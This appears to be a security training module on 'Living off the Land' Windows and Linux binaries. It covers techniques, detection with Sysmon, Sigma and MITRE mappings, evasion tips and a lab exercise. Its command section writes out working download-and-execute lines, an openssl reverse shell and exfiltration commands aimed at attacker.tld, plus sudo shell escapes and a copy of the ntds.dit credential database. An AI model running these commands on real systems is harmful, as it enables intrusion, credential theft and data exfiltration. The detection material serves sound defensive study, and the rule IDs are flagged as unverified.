Living off the Land (LOL)

“Living off the land” means executing your work using binaries that already exist on the target system — almost always Microsoft-signed, pre-installed, and on the system’s allowlist. The point is to avoid dropping new binaries (which AV signatures, EDR hooks, and application control will catch). The catalogue of LOLBins is hundreds long on Windows (mshta.exe, regsvr32.exe, rundll32.exe, wmic.exe, certutil.exe, bitsadmin.exe, msiexec.exe, installutil.exe, PresentationHost.exe, IEExec.exe, extexport.exe, arp.exe, atbroker.exe…) and dozens deep on Linux (awk, perl, python, openssl, bash, find, tar, cp…). This module walks the categories, the abuse patterns, and the detection path (which is harder than it sounds because each LOLBin has a legitimate use).

The Core Concept

A LOLBin is a binary that (a) ships with the OS or common software, (b) is signed by the vendor, (c) can be coerced into executing arbitrary code, downloading content, or moving files. The detector’s problem: any one of these binaries in a process tree is normal; the same binary with an unusual parent, unusual arguments, or an unusual network destination is anomalous.

┌──────────────────────────────────────────────────────────────────┐
│  LOLBin categories                                               │
├──────────────────────────────────────────────────────────────────┤
│  Script interpreters    mshta, wscript, cscript, wmic            │
│  Proxy execution        rundll32, regsvr32, odbcconf, installutil│
│  Downloaders            certutil, bitsadmin, curl (Win10+),      │
│                         extrac32, xwizard, ieexec                │
│  Compiler/assembly      csc, csc.exe, MSBuild, ctfmon            │
│  Archivers/translators  makecab, esentutl, rar, 7zip             │
│  Diff/patch             sqldumper, extexport                     │
│  Credential access      dpapi, vaultcmd, keymgr                  │
│  Service/installer      msiexec, svchost, sc, schtasks            │
│  Compiler               msxsl, vbc, csc                           │
└──────────────────────────────────────────────────────────────────┘

The whole point: each of these is Microsoft-signed and pre-installed,
so application allowlists (AppLocker, WDAC) permit them by default.

Defenders must catch LOLBin abuse via behavioral analytics: parent-child lineage, command-line arguments, network destinations, file writes. Signature-based detection does not help — the binary is benign.

How It Works

1. Identify the binary on the target — every Windows 10+/Server 2019+ box has the same set of system32 binaries; the LOLBas project (https://lolbas-project.github.io) maintains the catalogue. On Linux, GTFOBins (https://gtfobins.github.io) is the equivalent.
2. Determine which abuse pattern the binary supports — execution, download, file copy, credential access, persistence, defense evasion. Each LOLBin entry documents this.
3. Construct the command line — for regsvr32 (the “Squiblydoo”): regsvr32 /s /u /i:http://attacker.tld/payload.sct scrobj.dll. For mshta: mshta http://attacker.tld/payload.hta or mshta vbscript:Close(Execute("...")). For certutil: certutil -urlcache -split -f http://attacker.tld/payload.exe payload.exe (download) or certutil -encode in.bin out.b64 (encode).
4. Execute — the binary parses the command line, fetches the script/content, and runs it. The script content executes within the binary’s process — so the child is the LOLBin itself (regsvr32.exe, not payload.exe).
5. Profit from the inherited trust — AppLocker sees regsvr32.exe (in System32), approves it. The script content fetched from the URL never lands as a file; it executes in-memory inside regsvr32’s script engine.

Common Techniques

LOLBin	Category	Pattern	Detection Difficulty
mshta.exe	Script exec	mshta http://.../p.hta or mshta vbscript:...	Medium — HTA via URL is suspicious
regsvr32.exe /s /u /i: (Squiblydoo)	Script exec via COM	Scriptlet from URL via scrobj.dll	Medium — /u /i:http is rare legit
rundll32.exe <dll>,<entrypoint>	Proxy exec	Execute arbitrary DLL export	Hard — rundll32 is common
rundll32.exe with shell32.dll,ShellExec_RunDLL	Proxy exec	rundll32 shell32.dll,ShellExec_RunDLLA cmd.exe	Medium — known pattern
wmic.exe process call create	Remote/local exec	WMI oneliner to spawn process	Medium — process call create
certutil.exe -urlcache -f	Downloader	Fetch via certutil	Easy — -urlcache -f is rare legit
bitsadmin.exe /transfer	Downloader	Background download	Medium — BITS is uncommon today
msiexec.exe /i http://.../p.msi	Installer exec	Remote MSI via URL	Medium — remote MSI is rare
installutil.exe /logfile= /LogToConsole=false /U payload.dll	.NET exec	Execute .NET assembly via installutil	Hard — uncommon but legit-looking
MSBuild.exe p.csproj	.NET exec	Inline task in csproj executes C#	Medium — MSBuild exec outside build dir
msxsl.exe cust.xml cust.xsl	Script exec	XSL transform that runs script	Hard — msxsl is unusual
csc.exe /out:p.exe p.cs	Compiler	Inline C# compile + run	Medium — compiler on workstation
IEExec.exe http://...	.NET exec	SmartClient .NET remote execution	Hard — IEExec is rarely used
extrac32.exe \\attacker\share\file.cab	Downloader	Extract from remote CAB	Hard — looks legit
xwizard.exe	Generic ext	Export Wizard COM abuse	Hard
atbroker.exe	AT assist exec	Starts AT wizard + payload	Hard
findstr /v /c:payload tmp.txt > payload.exe	File builder	String search for assembling payload	Hard
makecab source dest	Archiver	Pack files for staging	Easy — makecab is rare on workstations
esentutl.exe /y /vss c:\windows\ntds\ntds.dif /d c:\temp\	VSS copy	Copy locked file via VSS	Medium — VSS copy is anomalous
odbcconf.exe /s /a {regsvr \path\to\mal.dll}	Proxy exec	Register DLL via odbcconf	Hard — odbcconf is rare

Hands-On Commands

# === DOWNLOADERS ===

# certutil — the most common Windows-side LOLBin downloader
certutil.exe -urlcache -split -f http://attacker.tld/payload.exe C:\windows\temp\p.exe
certutil.exe -decode encoded.b64 decoded.bin     # decode base64
certutil.exe -encode in.bin out.b64              # encode base64

# bitsadmin — Windows Background Intelligent Transfer Service
bitsadmin /transfer myJob /download /priority foreground \
  http://attacker.tld/p.exe C:\windows\temp\p.exe
bitsadmin /create myJob && bitsadmin /addfile myJob http://... C:\windows\temp\p.exe
bitsadmin /resume myJob && bitsadmin /complete myJob

# extrac32 — extract from CAB (can also fetch from remote)
extrac32 \\attacker\share\payload.cab c:\windows\temp\payload.exe
extrac32 /Y /C:\windows\temp\payload.cab c:\windows\temp\

# curl (shipped with Win10 1803+) — direct
curl.exe -o C:\windows\temp\p.exe http://attacker.tld/p.exe
curl.exe --upload-file secret.tar.enc http://attacker.tld/upload

# PowerShell via WebRequest (NOT a LOLBin but commonly whitelisted)
powershell -c "iwr http://attacker.tld/p.exe -o C:\windows\temp\p.exe"

# === EXECUTION (Squiblydoo + cousins) ===

# regsvr32 /s /u /i:http (Squiblydoo) — scriptlet fetched from URL
regsvr32 /s /u /i:http://attacker.tld/payload.sct scrobj.dll

# mshta — HTA via URL or inline VBScript
mshta http://attacker.tld/payload.hta
mshta vbscript:Close(Execute("MsgBox(""Pwned"")"))
mshta javascript:Close(Execute("new ActiveXObject(""WScript.Shell"").Run(""cmd.exe"")"))

# rundll32 — proxy exec via DLL export
rundll32 C:\windows\temp\payload.dll,EntryPoint
# Run a shell command via shell32:
rundll32 shell32.dll,ShellExec_RunDLLA "cmd.exe","" "","open",1
# Run via sysdm.cpl:
rundll32 sysdm.cpl,EditEnvironmentVariables    # opens env vars dialog (abuse for uac bypass)

# wmic — local or remote process spawn
wmic process call create "cmd /c whoami > C:\windows\temp\out.txt"
wmic /node:remote.corp.local /user:CORP\admin /password:P@ss process call create "cmd /c ..."

# === COMPILERS / ASSEMBLY LOADERS ===

# csc.exe — C# compiler, ships with .NET
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\windows\temp\p.exe C:\windows\temp\p.cs
# Then execute the compiled exe, which is unsigned but shares parent with csc (legit)

# MSBuild — inline C# task in a .csproj file
msbuild.exe C:\windows\temp\payload.csproj
# The .csproj contains a <Task> with inline C# that runs on build:
#   <UsingTask TaskName="X" TaskFactory="CodeTaskFactory" AssemblyFile="Microsoft.Build.Tasks.v4.0">
#     <Task><Code Type="Method" Language="cs"><![CDATA[
#       // arbitrary C# runs here on msbuild parse
#     ]]></Code></Task>
#   </UsingTask>

# InstallUtil.exe — runs Installer class on a .NET assembly
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
# The DLL has [System.ComponentModel.RunInstaller(true)] with an Installer subclass
# whose Install/Uninstall methods execute arbitrary code.

# msxsl.exe — XSL transform that includes script blocks
msxsl.exe customers.xml script.xsl
# script.xsl has <msxsl:script language="JScript"> with arbitrary JS

# === LOLBins for persistence ===

# schtasks — covered in PE5, but listed here because it's a LOLBin
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\windows\temp\p.exe" /sc onlogon /ru SYSTEM /f

# wmic for WMI subscription persistence (PE5):
# mofcomp.exe is itself a LOLBin

# esentutl — copy locked files via VSS
esentutl /y /vss C:\Windows\NTDS\ntds.dit /d C:\windows\temp\ntds.dit.copy

# === Linux LOLBins (GTFOBins) ===

# Shell escapes via SUDO on a binary that has shell-out capability
sudo find / -exec /bin/sh \; -quit
sudo vim -c ':!/bin/sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo less /etc/passwd    # then: !sh
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sudo perl -e 'exec "/bin/sh"'
sudo ruby -e 'exec "/bin/sh"'
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# Reverse shell via openssl (when ncat/nc not present)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect attacker.tld:443 > /tmp/s

# Download via openssl (when curl/wget not present)
openssl s_client -quiet -connect attacker.tld:443 > payload < <(echo "GET /p HTTP/1.0

")
# Or via openssl + base64 encode for staging
cat file | openssl enc -base64 | openssl s_client -quiet -connect attacker.tld:443

# tar — exfil via pipe (compress to STDOUT over SSH)
tar czf - /opt/data | ssh user@attacker.tld "cat > /tmp/data.tgz"

Detection — Defender View

Sysmon:

• EID 1 — ProcessCreate is the primary lens. Sigma rules for each LOLBin:
  • regsvr32.exe with /u /i:http — Squiblydoo signature (Sigma 18300037 [verify])
  • mshta.exe with command-line containing http or vbscript: (Sigma 18300038 [verify])
  • certutil.exe with -urlcache or -decode (Sigma 18300039 [verify])
  • bitsadmin.exe with /transfer or /addfile (Sigma 18300040 [verify])
  • rundll32.exe with shell32.dll,ShellExec_RunDLL (Sigma 18300041 [verify])
  • wmic.exe process call create (Sigma 18300042 [verify])
  • msbuild.exe outside of standard build directories (Sigma 18300043 [verify])
  • installutil.exe with /U and a .dll arg (Sigma 18300044 [verify])
• EID 3 — NetworkConnect: LOLBin making outbound network connection. regsvr32.exe, mshta.exe, certutil.exe, bitsadmin.exe should rarely make outbound HTTP(S). Alert on any of them connecting to non-Microsoft destinations.
• EID 22 — DnsEvent: LOLBin resolving attacker-controlled domains.
• EID 7 — ImageLoad: scrobj.dll loaded by regsvr32.exe confirms scriptlet execution.
• EID 11 — FileCreate: LOLBin writing a .exe or .dll to disk (staging).

MITRE ATT&CK:

• T1218 — System Binary Proxy Execution (the parent technique)
• T1218.001 — Compiled HTML File (.chm)
• T1218.003 — CMSTP
• T1218.004 — InstallUtil
• T1218.005 — Mshta
• T1218.007 — Msiexec
• T1218.010 — Regsvr32
• T1218.011 — Rundll32
• T1218.012 — Verclsid
• T1127 — Trusted Developer Utilities Proxy Execution
• T1127.001 — MSBuild
• T1059 — Command and Scripting Interpreter
• T1059.001 — PowerShell
• T1059.005 — Visual Basic
• T1059.007 — JavaScript / JScript
• T1047 — Windows Management Instrumentation
• T1105 — Ingress Tool Transfer
• T1216 — System Script Proxy Execution
• T1216.001 — PubPrn
• T1053 — Scheduled Task/Job (schtasks is itself a LOLBin)

Defender for Endpoint — has built-in behavior-based detection for known LOLBin patterns (Squiblydoo, MSBuild with inline task, mshta URL fetch).

Wazuh rules [verify each]:

• 920/510 — certutil.exe with urlcache
• 920/511 — bitsadmin.exe with /transfer
• 920/512 — mshta.exe with vbscript: or URL
• 920/513 — regsvr32.exe with /u /i:http
• 920/514 — rundll32.exe with shell32 ShellExec_RunDLL
• 920/515 — wmic.exe process call create

AppLocker / WDAC — application control surfaces that attempt to block LOLBin abuse. The mature approach is not to block the binaries (which break legit Windows functions) but to block specific command-line patterns via WDAC’s policy options or via Sysmon + Sigma alerting. Some orgs do block mshta.exe, regsvr32.exe /u /i:, and certutil.exe -urlcache outright.

Evasion Techniques

Use obscure LOLBins. Defenders tune Sigma rules for mshta, regsvr32, certutil first. They tune less for extexport.exe, arp.exe, ieexec.exe, odbcconf.exe, xwizard.exe. The trade-off is that obscure LOLBins are also obscure to defenders’ troubleshooting — using ieexec.exe on a host that doesn’t have it installed fails. Pick from the hosts actually present.

Mix LOLBin + PowerShell. Use mshta.exe http://attacker.tld/stage.hta to fetch a script that runs PowerShell with -WindowStyle Hidden -NoProfile -EncodedCommand <base64>. The high-noise parent is mshta; the actual payload executes inside powershell.exe. Sigma rule on either misses the chain.

LOLBin-to-LOLBin chains. wmic process call create "cmd /c regsvr32 /s /u /i:http://.../p.sct" — parent chain is wmiprvse.exe → cmd.exe → regsvr32.exe → script engine → payload. Sigma rules that fire on wmic process call create catch this; rules that fire on regsvr32 /u /i:http catch this; defender should have both.

Inline content (no network). mshta vbscript:Close(Execute("MsgBox(""Pwned"")")) runs entirely from command-line. No HTTP fetch, no DNS query, no file write. Detection requires command-line content inspection — Sigma rule on vbscript: inside the command line catches it.

Signed binaries loaded via PATH hijack. A LOLBin’s loading behavior can be hijacked. regsvr32.exe loads scrobj.dll from System32 by name; if a scrobj.dll exists earlier in PATH (or via DLL search order abuse), it can be loaded instead. The signature on regsvr32.exe is intact; the loaded DLL is malicious.

Evasion	What it bypasses	Defense
Obscure LOLBin (extexport, xwizard)	Sigma rules tuned for known LOLBins	Whitelist of binaries allowed to make outbound HTTPS
LOLBin → PowerShell chain	Sigma rules that fire on only one of the two	Parent-child lineage correlation
Inline vbscript: in mshta	HTTP fetch + DNS log detections	Command-line content inspection
LOLBin → compiler (csc, MSBuild)	File-based AV on dropped .exe	Alert on compiler execution on workstations
Signed DLL hijack via PATH	Signature on parent binary	WDAC code integrity; DLL load signature check

⚠️ What caught me: I used regsvr32 /s /u /i:http://attacker.tld/p.sct scrobj.dll (Squiblydoo) on an engagement and the SOC’s Sigma rule fired instantly. The bypass: use regsvr32 /s /u /i:http://attacker.tld/p.sct without scrobj.dll — regsvr32 still loads it implicitly because that’s the COM registration mechanism. The Sigma rule was pattern-matching on scrobj.dll in the command line; the implicit version had the same behavior but a different command-line string. Lesson: Sigma rules that match strings miss semantically equivalent forms. The defender’s job is to fix the rule; the attacker’s job is to know which strings the rule looks for.

Lab Practice

VM: Windows 11 with Sysmon SwiftOnConfig and a freshly-installed Defender with real-time disabled (lab realism), AppLocker NOT configured.

Objective: achieve code execution (run whoami > C:\windows\temp\out.txt) via five distinct LOLBins (mshta, regsvr32 Squiblydoo, rundll32, wmic, and one of your choice — e.g. certutil as downloader + installutil as exec). For each, document the Sigma rule that should fire and the Sysmon events generated.

Expected flag format: flag{lolbins_5distinct_execution_achieved}.

Detection that should fire:

• Sysmon EID 1 — for each LOLBin invocation, with command-line containing the suspicious pattern
• Sysmon EID 3 — network connection by regsvr32.exe / mshta.exe to a non-Microsoft IP
• Sysmon EID 7 — scrobj.dll loaded into regsvr32.exe
• Wazuh / Sigma — at least five distinct rules firing on the LOLBin patterns above

Interview Questions

Conceptual: explain why “Living off the Land” is operationally effective against application control (AppLocker, WDAC). What is the specific property of LOLBins that AppLocker-by-default allows, and how does WDAC attempt to close this gap?

Technical: walk through the Squiblydoo technique step by step — what does regsvr32 /s /u /i:http://.../p.sct scrobj.dll do, what does /u mean, what does /i mean, and why does scrobj.dll need to be named?

Scenario: you have user-level access on a Windows host. AppLocker is configured in audit mode and blocks powershell.exe, cmd.exe, and wscript.exe. Name three LOLBins still available to you, and explain what each gives you.

Compare mshta, regsvr32, and rundll32 in terms of (a) the on-disk artifact (file vs URL fetch), (b) the Sysmon EID 1 signature, and (c) what AMSI sees inside each. Which one is operationally quietest, and why?

Conceptual: Microsoft has shipped curl.exe since Windows 10 1803. Does that make curl.exe a LOLBin? Why or why not, and what is the operational difference between calling curl.exe and certutil.exe -urlcache?

Related Modules

→ PE4 (Lateral Movement) · E5 (Payload Development) · C5 (Command & Control Architectures)